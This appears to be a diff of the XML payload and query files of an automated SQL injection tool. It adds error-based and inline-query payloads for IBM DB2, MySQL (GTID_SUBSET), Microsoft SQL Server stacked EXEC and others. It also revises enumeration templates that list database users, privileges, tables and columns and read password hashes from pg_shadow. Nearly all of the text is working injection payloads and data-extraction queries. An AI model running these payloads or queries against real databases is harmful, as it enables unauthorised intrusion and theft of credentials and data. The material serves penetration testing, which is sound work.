|
||||
<stype>2</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>1</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>IBM DB2</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>IBM DB2 OR error-based - WHERE or HAVING clause</title>
|
||||
<stype>2</stype>
|
||||
<level>4</level>
|
||||
<risk>1</risk>
|
||||
<clause>1</clause>
|
||||
<where>1</where>
|
||||
<vector>OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>IBM DB2</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<!--
|
||||
TODO: if possible, add payload for SQLite, Microsoft Access,
|
||||
and SAP MaxDB - no known techniques at this time
|
||||
@@ -853,6 +926,26 @@
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)</title>
|
||||
<stype>2</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>3</where>
|
||||
<vector>GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
|
||||
<request>
|
||||
<payload>GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version>>= 5.6</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)</title>
|
||||
<stype>2</stype>
|
||||
@@ -1000,7 +1093,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -1021,7 +1113,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -1062,6 +1153,25 @@
|
||||
<dbms>Firebird</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>IBM DB2 error-based - Parameter replace</title>
|
||||
<stype>2</stype>
|
||||
<level>4</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,3</clause>
|
||||
<where>3</where>
|
||||
<vector>RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
<payload>RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>IBM DB2</dbms>
|
||||
</details>
|
||||
</test>
|
||||
<!-- End of error-based tests - Parameter replace -->
|
||||
|
||||
<!-- Error-based tests - ORDER BY, GROUP BY clause -->
|
||||
@@ -1105,6 +1215,26 @@
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL >= 5.6 error-based - ORDER BY, GROUP BY clause (GTID_SUBSET)</title>
|
||||
<stype>2</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>2,3</clause>
|
||||
<where>1</where>
|
||||
<vector>,GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
|
||||
<request>
|
||||
<payload>,GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version>>= 5.6</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL >= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS)</title>
|
||||
<stype>2</stype>
|
||||
@@ -1205,7 +1335,6 @@
|
||||
</details>
|
||||
</test>
|
||||
|
||||
|
||||
<test>
|
||||
<title>PostgreSQL error-based - ORDER BY, GROUP BY clause</title>
|
||||
<stype>2</stype>
|
||||
@@ -1261,7 +1390,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -1289,7 +1417,7 @@
|
||||
<stype>2</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>2,3</clause>
|
||||
<clause>3</clause>
|
||||
<where>1</where>
|
||||
<vector>,(SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'))</vector>
|
||||
<request>
|
||||
@@ -1302,9 +1430,51 @@
|
||||
<dbms>Firebird</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>IBM DB2 error-based - ORDER BY clause</title>
|
||||
<stype>2</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>3</clause>
|
||||
<where>1</where>
|
||||
<vector>,RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
<payload>,RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>IBM DB2</dbms>
|
||||
</details>
|
||||
</test>
|
||||
<!--
|
||||
TODO: if possible, add payload for SQLite, Microsoft Access
|
||||
and SAP MaxDB - no known techniques at this time
|
||||
-->
|
||||
<!-- End of error-based tests - ORDER BY, GROUP BY clause -->
|
||||
|
||||
<!-- Error-based tests - stacking -->
|
||||
<test>
|
||||
<title>Microsoft SQL Server/Sybase error-based - Stacking (EXEC)</title>
|
||||
<stype>2</stype>
|
||||
<level>2</level>
|
||||
<risk>1</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]');EXEC @[RANDSTR]</vector>
|
||||
<request>
|
||||
<payload>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]');EXEC @[RANDSTR]</payload>
|
||||
<comment>--</comment>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
</details>
|
||||
</test>
|
||||
<!-- End of error-based tests - stacking -->
|
||||
</root>
|
||||
|
||||
@@ -3,19 +3,31 @@
|
||||
<root>
|
||||
<!-- Inline queries tests -->
|
||||
<test>
|
||||
<title>MySQL inline queries</title>
|
||||
<title>Generic inline queries</title>
|
||||
<stype>3</stype>
|
||||
<level>1</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,8</clause>
|
||||
<where>3</where>
|
||||
<vector>(SELECT CONCAT(CONCAT('[DELIMITER_START]',([QUERY])),'[DELIMITER_STOP]'))</vector>
|
||||
<request>
|
||||
<payload>(SELECT CONCAT(CONCAT('[DELIMITER_START]',(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]'))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL inline queries</title>
|
||||
<stype>3</stype>
|
||||
<level>2</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,8</clause>
|
||||
<where>3</where>
|
||||
<vector>(SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
|
||||
<request>
|
||||
<!-- These work as good as ELT(), but are longer
|
||||
<payload>(SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload>
|
||||
<payload>(SELECT CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
|
||||
-->
|
||||
<payload>(SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
|
||||
<payload>(SELECT CONCAT('[DELIMITER_START]',(ELT([RANDNUM]=[RANDNUM],1)),'[DELIMITER_STOP]'))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
@@ -28,7 +40,7 @@
|
||||
<test>
|
||||
<title>PostgreSQL inline queries</title>
|
||||
<stype>3</stype>
|
||||
<level>1</level>
|
||||
<level>2</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,8</clause>
|
||||
<where>3</where>
|
||||
@@ -47,13 +59,13 @@
|
||||
<test>
|
||||
<title>Microsoft SQL Server/Sybase inline queries</title>
|
||||
<stype>3</stype>
|
||||
<level>1</level>
|
||||
<level>2</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,8</clause>
|
||||
<where>3</where>
|
||||
<vector>(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
<payload>(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')</payload>
|
||||
<payload>(SELECT '[DELIMITER_START]'+(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)+'[DELIMITER_STOP]')</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
@@ -61,7 +73,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -75,7 +86,7 @@
|
||||
<vector>(SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL)</vector>
|
||||
<request>
|
||||
<!-- NOTE: Vertica works too without the TO_NUMBER() -->
|
||||
<payload>(SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END) FROM DUAL)||'[DELIMITER_STOP]' FROM DUAL)</payload>
|
||||
<payload>(SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END)||'[DELIMITER_STOP]' FROM DUAL)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
@@ -94,7 +105,7 @@
|
||||
<where>3</where>
|
||||
<vector>SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'</vector>
|
||||
<request>
|
||||
<payload>SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))||'[DELIMITER_STOP]'</payload>
|
||||
<payload>SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]'</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
|
||||
@@ -264,7 +264,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -286,7 +285,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -307,7 +305,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -328,7 +325,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
|
||||
@@ -588,7 +588,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -610,7 +609,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -631,7 +629,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -652,7 +649,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -674,7 +670,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -696,7 +691,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -1638,7 +1632,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -1936,7 +1929,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
<root>
|
||||
<!-- MySQL -->
|
||||
<dbms value="MySQL">
|
||||
<!-- http://dba.fyicenter.com/faq/mysql/Difference-between-CHAR-and-NCHAR.html -->
|
||||
<cast query="CAST(%s AS NCHAR)"/>
|
||||
@@ -30,8 +29,8 @@
|
||||
<is_dba query="(SELECT super_priv FROM mysql.user WHERE user='%s' LIMIT 0,1)='Y'"/>
|
||||
<check_udf query="(SELECT name FROM mysql.func WHERE name='%s' LIMIT 0,1)='%s'"/>
|
||||
<users>
|
||||
<inband query="SELECT grantee FROM INFORMATION_SCHEMA.USER_PRIVILEGES" query2="SELECT user FROM mysql.user"/>
|
||||
<blind query="SELECT DISTINCT(grantee) FROM INFORMATION_SCHEMA.USER_PRIVILEGES LIMIT %d,1" query2="SELECT DISTINCT(user) FROM mysql.user LIMIT %d,1" count="SELECT COUNT(DISTINCT(grantee)) FROM INFORMATION_SCHEMA.USER_PRIVILEGES" count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user"/>
|
||||
<inband query="SELECT grantee FROM INFORMATION_SCHEMA.USER_PRIVILEGES" query2="SELECT user FROM mysql.user" query3="SELECT username FROM DATA_DICTIONARY.CUMULATIVE_USER_STATS"/>
|
||||
<blind query="SELECT DISTINCT(grantee) FROM INFORMATION_SCHEMA.USER_PRIVILEGES LIMIT %d,1" query2="SELECT DISTINCT(user) FROM mysql.user LIMIT %d,1" query3="SELECT DISTINCT(username) FROM DATA_DICTIONARY.CUMULATIVE_USER_STATS LIMIT %d,1" count="SELECT COUNT(DISTINCT(grantee)) FROM INFORMATION_SCHEMA.USER_PRIVILEGES" count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user" count3="SELECT COUNT(DISTINCT(username)) FROM DATA_DICTIONARY.CUMULATIVE_USER_STATS"/>
|
||||
</users>
|
||||
<!-- https://github.com/dev-sec/mysql-baseline/issues/35 -->
|
||||
<!-- https://stackoverflow.com/a/31122246 -->
|
||||
@@ -45,7 +44,7 @@
|
||||
</privileges>
|
||||
<roles/>
|
||||
<statements>
|
||||
<inband query="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST"/>
|
||||
<inband query="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST" query2="SELECT INFO FROM DATA_DICTIONARY.PROCESSLIST"/>
|
||||
<blind query="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST ORDER BY ID LIMIT %d,1" query2="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST WHERE ID=%d" query3="SELECT ID FROM INFORMATION_SCHEMA.PROCESSLIST LIMIT %d,1" count="SELECT COUNT(DISTINCT(INFO)) FROM INFORMATION_SCHEMA.PROCESSLIST"/>
|
||||
</statements>
|
||||
<dbs>
|
||||
@@ -78,11 +77,11 @@
|
||||
</search_column>
|
||||
</dbms>
|
||||
|
||||
<!-- PostgreSQL -->
|
||||
<dbms value="PostgreSQL">
|
||||
<cast query="CAST(%s AS CHARACTER(10000))"/>
|
||||
<cast query="CAST(%s AS VARCHAR(10000))"/>
|
||||
<length query="LENGTH(%s)"/>
|
||||
<isnull query="COALESCE(%s,' ')"/>
|
||||
<!-- NOTE: PostgreSQL does not like COALESCE with different data-types (e.g. COALESCE(id,' ')) -->
|
||||
<isnull query="COALESCE(%s::text,' ')"/>
|
||||
<delimiter query="||"/>
|
||||
<limit query="OFFSET %d LIMIT %d"/>
|
||||
<limitregexp query="\s+OFFSET\s+([\d]+)\s+LIMIT\s+([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
|
||||
@@ -108,7 +107,7 @@
|
||||
<check_udf query="(SELECT proname='%s' FROM pg_proc WHERE proname='%s' OFFSET 0 LIMIT 1)"/>
|
||||
<users>
|
||||
<inband query="SELECT usename FROM pg_user"/>
|
||||
<blind query="SELECT DISTINCT(usename) FROM pg_user OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user"/>
|
||||
<blind query="SELECT DISTINCT(usename) FROM pg_user ORDER BY usename OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user"/>
|
||||
</users>
|
||||
<passwords>
|
||||
<inband query="SELECT usename,passwd FROM pg_shadow" condition="usename"/>
|
||||
@@ -125,23 +124,23 @@
|
||||
</statements>
|
||||
<dbs>
|
||||
<inband query="SELECT DISTINCT(schemaname) FROM pg_tables"/>
|
||||
<blind query="SELECT DISTINCT(schemaname) FROM pg_tables OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables"/>
|
||||
<blind query="SELECT DISTINCT(schemaname) FROM pg_tables ORDER BY schemaname OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables"/>
|
||||
</dbs>
|
||||
<tables>
|
||||
<inband query="SELECT schemaname,tablename FROM pg_tables" condition="schemaname"/>
|
||||
<blind query="SELECT tablename FROM pg_tables WHERE schemaname='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'"/>
|
||||
<blind query="SELECT tablename FROM pg_tables WHERE schemaname='%s' ORDER BY tablename OFFSET %d LIMIT 1" count="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT attname,typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
|
||||
<blind query="SELECT attname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s'" count="SELECT COUNT(attname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
|
||||
<inband query="SELECT attname,typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s' ORDER BY attname" condition="attname"/>
|
||||
<blind query="SELECT attname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s' ORDER BY attname" query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s' ORDER BY attname" count="SELECT COUNT(attname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT datname FROM pg_database WHERE %s" condition="datname"/>
|
||||
<blind query="SELECT DISTINCT(datname) FROM pg_database WHERE %s" count="SELECT COUNT(DISTINCT(datname)) FROM pg_database WHERE %s" condition="datname"/>
|
||||
<inband query="SELECT schemaname FROM pg_tables WHERE %s" condition="schemaname"/>
|
||||
<blind query="SELECT DISTINCT(schemaname) FROM pg_tables WHERE %s" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables WHERE %s" condition="schemaname"/>
|
||||
</search_db>
|
||||
<search_table>
|
||||
<inband query="SELECT schemaname,tablename FROM pg_tables WHERE %s" condition="tablename" condition2="schemaname"/>
|
||||
@@ -153,7 +152,6 @@
|
||||
</search_column>
|
||||
</dbms>
|
||||
|
||||
<!-- Microsoft SQL Server -->
|
||||
<dbms value="Microsoft SQL Server">
|
||||
<cast query="CAST(%s AS NVARCHAR(4000))"/>
|
||||
<length query="LTRIM(STR(LEN(%s)))"/>
|
||||
@@ -200,8 +198,8 @@
|
||||
<blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
|
||||
</dbs>
|
||||
<tables>
|
||||
<inband query="SELECT %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid = %s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT name FROM %s..sysobjects WHERE xtype = 'U'"/>
|
||||
<blind query="SELECT TOP 1 %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid = %s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') AND %s..sysusers.name+'.'+%s..sysobjects.name NOT IN (SELECT TOP %d %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid = %s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name) ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT TOP 1 table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' AND table_schema+'.'+table_name NOT IN (SELECT TOP %d table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' ORDER BY table_schema+'.'+table_name) ORDER BY table_schema+'.'+table_name" count2="SELECT LTRIM(STR(COUNT(table_name))) FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT TOP 1 name FROM %s..sysobjects WHERE xtype = 'U' AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE xtype = 'U' ORDER BY name) ORDER BY name" count3="SELECT COUNT(name) FROM %s..sysobjects WHERE xtype = 'U'"/>
|
||||
<inband query="SELECT %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT name FROM %s..sysobjects WHERE xtype='U'"/>
|
||||
<blind query="SELECT TOP 1 %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') AND %s..sysusers.name+'.'+%s..sysobjects.name NOT IN (SELECT TOP %d %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name) ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT TOP 1 table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' AND table_schema+'.'+table_name NOT IN (SELECT TOP %d table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' ORDER BY table_schema+'.'+table_name) ORDER BY table_schema+'.'+table_name" count2="SELECT LTRIM(STR(COUNT(table_name))) FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT TOP 1 name FROM %s..sysobjects WHERE xtype='U' AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE xtype='U' ORDER BY name) ORDER BY name" count3="SELECT COUNT(name) FROM %s..sysobjects WHERE xtype='U'"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT %s..syscolumns.name,TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query2="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" condition="[DB]..syscolumns.name"/>
|
||||
@@ -225,7 +223,6 @@
|
||||
</search_column>
|
||||
</dbms>
|
||||
|
||||
